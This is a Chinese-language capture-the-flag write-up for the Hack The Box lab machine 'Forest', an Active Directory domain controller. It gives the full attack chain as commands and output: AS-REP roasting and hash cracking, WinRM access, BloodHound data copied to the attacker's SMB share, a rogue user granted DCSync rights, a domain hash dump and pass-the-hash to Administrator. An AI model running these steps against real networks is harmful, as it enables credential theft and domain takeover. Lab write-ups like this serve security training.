HTB:Forest[WriteUP]
连接至HTB服务器并启动靶机
分配IP:10.10.16.21
靶机IP:10.10.10.161
靶机Domain:forest.htb
目录
连接至HTB服务器并启动靶机
信息收集
使用rustscan对靶机TCP端口进行开放扫描
将靶机TCP开放端口号提取并保存
使用nmap对靶机TCP开放端口进行脚本、服务扫描
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
使用nmap对靶机常用UDP端口进行开放扫描
使用nmap对靶机UDP开放端口进行脚本、服务扫描
使用smbclient尝试列出靶机SMB共享
使用netexec枚举靶机AD域中的用户信息
边界突破
将上述枚举出来的用户名保存到文件中
使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据
使用john对该密码哈希进行字典爆破
使用netexec通过上述凭证尝试枚举靶机SMB服务共享
使用evil-winrm通过上述凭证登录靶机Win-RM服务
权限提升
将SharpHound上传至靶机
控制靶机连接至攻击机SMB服务器
使用BloodHound读取分析靶机域内数据
点击下方的HTB.LOCAL域结点查看其可传递DC
查看如何滥用EWP组对域控制器的WriteDacl权限
要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组
授予x0da6h账户DcSync权限
使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希
使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务
使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户
信息收集
使用rustscan对靶机TCP端口进行开放扫描
rustscan -a 10.10.10.161 -r 1-65535 --ulimit 5000 | tee res
将靶机TCP开放端口号提取并保存
ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# grep ^[0-9] res | cut -d/ -f1 | paste -sd,
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# ports=$(grep ^[0-9] res | cut -d/ -f1 | paste -sd,)
┌──(root㉿kali)-[/home/kali/Desktop/temp]
└─# echo $ports
53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49671,49678,49679,49686,49708,49975
使用nmap对靶机TCP开放端口进行脚本、服务扫描
nmap -sT -p$ports -sCV -Pn 10.10.10.161
- 需要重点关注的端口和信息
53端口:Domain服务
88端口:Kerberos服务
389端口:LDAP服务
445端口:SMB服务
5985端口:Win-RM服务
AD域名:htb.local
使用nmap对靶机TCP开放端口进行漏洞、系统扫描
nmap -sT -p$ports --script=vuln -O -Pn 10.10.10.161
使用nmap对靶机常用UDP端口进行开放扫描
nmap -sU --top-ports 20 -Pn 10.10.10.161
使用nmap对靶机UDP开放端口进行脚本、服务扫描
nmap -sU -p53,123 -sCV -Pn 10.10.10.161
使用smbclient尝试列出靶机SMB共享
smbclient -L \\forest.htb
使用netexec枚举靶机AD域中的用户信息
netexec smb forest.htb -d htb.local --users
边界突破
将上述枚举出来的用户名保存到文件中
netexec smb forest.htb -d htb.local --users | awk '{print $5}' | tee names.txt
使用impacket-GetNPUsers免密枚举列表中用户的AS-REP票据
impacket-GetNPUsers -no-pass htb.local/ -usersfile ./names.txt -dc-ip 10.10.10.161
$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc
- 将枚举得到的密码哈希保存到文件中
echo '$krb5asrep$23$svc-alfresco@HTB.LOCAL:6822d165641745300f299a10c7a6d020$51a8bd7d10842166f30e7518c9fbc5673fc5bf57d212ce346e43c4e675c8c1b7bf837faea3d651862d42a6399654669956c19e68de1a51783eb783d0e69f058413688dff8ddd39c82be3cf2c2d9b75db20a3c84a481b46041b71222d25f43f627dc2d81ae04ada3f8ff1fe586e24e83b466a4f11127c7d260389c06bbdf6238a182c77477b7ad8ccb80cd68b27d77529f9807688a6f9c2dca8f5e29c879f7245c1eae504b2a4b96fcde667ab2eb230863b202e24967a601fd12d8c5c8b20bed8988753df731259381a35b0d8bf48ee3e32455965813812fdad76e883dddc1895b7f26a3db0dc' > hash
使用john对该密码哈希进行字典爆破
john hash --wordlist=../dictionary/rockyou.txt --format=krb5asrep
账户:svc-alfresco
密码:s3rvice
使用netexec通过上述凭证尝试枚举靶机SMB服务共享
netexec smb forest.htb -u 'svc-alfresco' -p 's3rvice' --shares
使用evil-winrm通过上述凭证登录靶机Win-RM服务
evil-winrm -i forest.htb -u 'svc-alfresco' -p 's3rvice'
- 在C:\Users\svc-alfresco\Desktop目录下找到user.txt文件
权限提升
将SharpHound上传至靶机
upload SharpHound.exe
- 执行该文件收集靶机域内信息
.\SharpHound.exe -c all
控制靶机连接至攻击机SMB服务器
net use Z: \\10.10.16.21\temp
- 将域内数据拷贝至攻击机共享目录中
copy 20250126235717_BloodHound.zip Z:\
使用BloodHound读取分析靶机域内数据
- 选择`查找到域管理员的最短路径`
点击下方的HTB.LOCAL域结点查看其可传递DC
- 如图表所示,ACCOUNT OPERATORS(AO)组对EXCHANGE WINDOWS PERMISSIONS(EWP)组具有GenericAll权限,而EWP组对HTB.LOCAL域控制器具有WriteDacl权限
查看如何滥用EWP组对域控制器的WriteDacl权限
要对EWP组拥有的权限进行滥用,首先得新建一个用户并加入EWP组
- 在域中新建一个用户
net user x0da6h Password123! /add /domain
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user x0da6h Password123! /add /domain
The command completed successfully.
- 将该用户加入EWP组
net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group "EXCHANGE WINDOWS PERMISSIONS" /add x0da6h
The command completed successfully.
授予x0da6h账户DcSync权限
- 将明文密码转换为安全字符串
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
- 创建x0da6h用户与安全密码的凭证对象
$Cred = New-Object System.Management.Automation.PSCredential('HTB\x0da6h', $SecPassword)
- 使用凭证对象为x0da6h账户授予 HTB.LOCAL的DCSync权限
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "DC=HTB,DC=LOCAL" -PrincipalIdentity x0da6h -Rights DCSync
使用impacket-secretsdump通过DcSync权限转储域内用户密码哈希
impacket-secretsdump 'htb.local/x0da6h:Password123!@10.10.10.161'
使用evil-winrm通过Administrator密码哈希登录靶机Win-RM服务
evil-winrm -i forest.htb -u 'Administrator' -H '32693b11e6aa90eb43d32c72a07ceea6'
- 在C:\Users\Administrator\Desktop目录下找到root.txt文件
使用impacket-psexec通过Administrator密码哈希直接提权至SYSTEM账户
impacket-psexec htb.local/Administrator@forest.htb -hashes aad3b435b51404eeaad3b435b51404ee:32693b11e6aa90eb43d32c72a07ceea6